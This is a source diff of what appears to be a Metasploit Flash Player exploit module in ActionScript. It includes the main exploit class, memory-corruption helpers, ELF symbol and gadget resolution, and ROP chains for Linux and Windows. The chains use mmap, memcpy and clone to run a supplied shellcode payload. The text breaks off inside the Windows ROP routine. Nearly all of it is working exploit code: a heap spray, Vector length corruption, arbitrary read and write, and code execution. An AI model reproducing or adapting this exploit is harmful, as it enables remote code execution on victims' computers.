||||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
// Return to popen()
|
|
||||||
eba.write(stack_address + 0x18068, popen)
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
// Return to CoE (fix stack and object vtable)
|
// Return to CoE (fix stack and object vtable)
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, buffer + 0x10)
|
||||||
// popen() argument
|
// clone() arguments
|
||||||
eba.write(0, payload_address + 0xc)
|
eba.write(0, 0x70000000) // code
|
||||||
eba.write(0, payload_address + 8)
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
//call DWORD PTR [eax+0x24]
|
//call DWORD PTR [eax+0x24]
|
||||||
//EAX: 0x41414141 ('AAAA')
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
|
|
@ -11,7 +11,6 @@ package
|
||||||
|
|
||||||
public function base(addr:uint):uint
|
public function base(addr:uint):uint
|
||||||
{
|
{
|
||||||
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
|
|
||||||
addr &= 0xffff0000
|
addr &= 0xffff0000
|
||||||
while (true) {
|
while (true) {
|
||||||
if (eba.read(addr) == 0x00905a4d) return addr
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
@ -54,10 +53,20 @@ package
|
||||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
{
|
{
|
||||||
var find:uint = 0
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
var value:uint = parseInt(gadget, 16)
|
var value:uint = parseInt(gadget, 16)
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -4,7 +4,7 @@ class Main
|
||||||
{
|
{
|
||||||
public static function main(swfRoot:MovieClip):Void
|
public static function main(swfRoot:MovieClip):Void
|
||||||
{
|
{
|
||||||
var _loc2_ = _global.ASnative(2100, 0x1a1e2000);
|
var _loc2_ = _global.ASnative(2100, 0x14950000);
|
||||||
var _loc3_ = new Object();
|
var _loc3_ = new Object();
|
||||||
_loc2_.__proto__ = _loc3_;
|
_loc2_.__proto__ = _loc3_;
|
||||||
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
|
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
|
||||||
|
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,123 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||||
|
// 3. Download the Flex SDK (4.6)
|
||||||
|
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 5. Build with: mxmlc -o msf.swf Msf.as
|
||||||
|
|
||||||
|
// Original code by @hdarwin89 modified to be used from msf
|
||||||
|
// https://git.hacklab.kr/snippets/13
|
||||||
|
// http://pastebin.com/Wj3NViUu
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.events.Event
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.Worker
|
||||||
|
import flash.system.WorkerDomain
|
||||||
|
import flash.system.MessageChannel
|
||||||
|
import flash.system.ApplicationDomain
|
||||||
|
import avm2.intrinsics.memory.casi32
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||||
|
private var uv:Vector.<uint> = new Vector.<uint>
|
||||||
|
private var ba:ByteArray = new ByteArray()
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var worker:Worker
|
||||||
|
private var mc:MessageChannel
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public function Exploit()
|
||||||
|
{
|
||||||
|
if (Worker.current.isPrimordial) mainThread()
|
||||||
|
else workerThread()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mainThread():void
|
||||||
|
{
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
ba.length = 0x1000
|
||||||
|
ba.shareable = true
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<uint>(1014)
|
||||||
|
ov[i][0] = 0xdeedbeef
|
||||||
|
}
|
||||||
|
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||||
|
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||||
|
mc = worker.createMessageChannel(Worker.current)
|
||||||
|
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||||
|
worker.setSharedProperty("mc", mc)
|
||||||
|
worker.setSharedProperty("ba", ba)
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = ba
|
||||||
|
worker.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function workerThread():void
|
||||||
|
{
|
||||||
|
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||||
|
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||||
|
var tmp:ByteArray = new ByteArray()
|
||||||
|
tmp.length = 0x2000
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < 20; i++) {
|
||||||
|
new Vector.<uint>(1022)
|
||||||
|
}
|
||||||
|
|
||||||
|
ba.writeBytes(tmp)
|
||||||
|
ov[0] = new Vector.<uint>(1022)
|
||||||
|
|
||||||
|
mc.send("")
|
||||||
|
while (mc.messageAvailable);
|
||||||
|
|
||||||
|
for (i = 0;; i++) {
|
||||||
|
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
|
||||||
|
ov[0][i] = 0xffffffff
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ov[0][0xfffffffe] = 1014
|
||||||
|
|
||||||
|
mc.send("")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function onMessage(e:Event):void
|
||||||
|
{
|
||||||
|
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
|
||||||
|
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
|
||||||
|
if (mod == 1022) mc.receive()
|
||||||
|
else {
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
if (ov[i].length == 0xffffffff) {
|
||||||
|
uv = ov[i]
|
||||||
|
} else {
|
||||||
|
if (ov[i] != null) {
|
||||||
|
delete(ov[i])
|
||||||
|
ov[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (uv == null) {
|
||||||
|
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 1014
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
